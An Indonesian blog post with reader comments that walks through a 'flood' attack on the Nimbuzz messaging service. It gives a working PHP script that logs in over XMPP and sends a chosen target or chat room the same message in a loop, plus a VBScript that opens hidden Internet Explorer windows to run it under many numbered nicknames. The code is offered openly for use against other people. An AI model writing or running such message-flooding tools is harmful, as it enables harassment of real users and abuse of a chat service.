VBS – PHP Flood
Bagi yang sudah pernah baca artikel aku tentang cara parsing variabel dengan PHP script dan cara nge-flood menggunakan VB Script tentunya lihat PHP script dan VBScript berikut udah mafhum. Bagi yang belum pernah atau belum tau, aduk – aduk dulu deh artikel aku yang lalu. Lupa aku judulnya. Wkwkwkwk…
Script pv_flood.php berikut sengaja cara parsingnya aku bikin menggunakan metode GET :
BaworVBS:
<HTML><HEAD>
<SCRIPT language='JavaScript' type='text/javascript'> top.window.opener = top.window; top.window.opener.focus(); top.window.close(); </SCRIPT>
</HEAD><BODY></BODY></HTML>
Function IScript_CloseCurrWin()
%Response.WriteLine(GetHTMLText(HTML.BaworVBS));< br />
End-Function;
<?
$resource='NIMBUZZ_MID456';
$host='o.nimbuzz.com';
$port='5222';
$server='nimbuzz.com';
$user = $_GET['nick'];
$password = $_GET['password'];
$to = $_GET['target'];
$jml_nick = $_GET['jml_nick'];
$jml_flood = $_GET['jml_flood'];
$body = $_GET['isi_flood'];
include 'XMPPHP/Log.php';
include 'XMPPHP/XMPP.php';
$koneksi=new XMPPHP_XMPP($host, $port, $user, $password, $resource, $server, $printlog=false, $loglevel=XMPPHP_Log::LEVEL_INFO);
$koneksi->connect();
$koneksi->processUntil('session_start');
$koneksi->presence();
for ($c=1;$c<=$jml_flood;$c++)
{
$koneksi->message($to, $body);
}
?>
Klo untuk room, mungkin skrip yang bawah gini yah? :
$koneksi->presence(NULL, "bot", $to."@conference.nimbuzz.com/".$user, "available");
for ($c=1;$c<=$jml_flood;$c++)
{
$koneksi->message($to."@conference.nimbuzz.com", $body,"groupchat");
}
$koneksi->presence(NULL, "bot", $to."@conference.nimbuzz.com/".$user."asdgasudaui7887eyi", "unavailable");
Dengan maksud, parsing variabel dari pv_flood.php kita buat dengan VBScript berikut :
nick="nick_nimbuzz_kamu"
password="password_kamu"
target="target@nimbuzz.com"
jml_nick="100"
jml_flood="100"
isi_flood="Text Messsage"
url_local="http://localhost/flood/pv_flood.php"
for i=1 to jml_nick
alamat=url_local & "?nick=" & i & nick & "&password=" & password & "&jml_flood=" & jml_flood & "&target=" & target & "&isi_flood=" & isi_flood
Dim ie
Set ie = CreateObject("internetexplorer.application")
ie.Navigate alamat
ie.Visible=False
next
Klo untuk room, target cuman isi nama roomnya doang. Lalu simpan dengan nama terserah_kamu.vbs. Udah cuman gitu thok. Enteng bikinnya, cukup pake Notepad ajah. Klo untuk room, berkreasi ndiri aja yah? Aku cuman mancing doang… 
24 March 2011 at 3:44 pm
ada yg br lg ga kang…
He.he.he
24 March 2011 at 3:47 pm
Oh ya temen2 add jid ku yg ini
adiet-timika@nimbuzz.com
coz….jid lama gw ke hack
salah scrip….wkwkwkwk
29 March 2011 at 1:35 am
Nimbuz.com
12 April 2011 at 11:59 pm
Whiw . . Ditulis maning..
good and top lah..
Success kang..
17 April 2011 at 1:37 pm
tilik.. Mbk dadi teyeng kang
22 April 2011 at 1:53 pm
@ anthrax ; Moderator IDWS yah Mas???
13 May 2011 at 12:59 pm
Assalammualaikum
13 May 2011 at 1:01 pm
Leh gabung gak ya
16 May 2011 at 12:14 pm
Be my guest, bro.
21 June 2011 at 1:55 am
Whehehe… eseh eksiss yo kang…
Ora bosen2 ya :p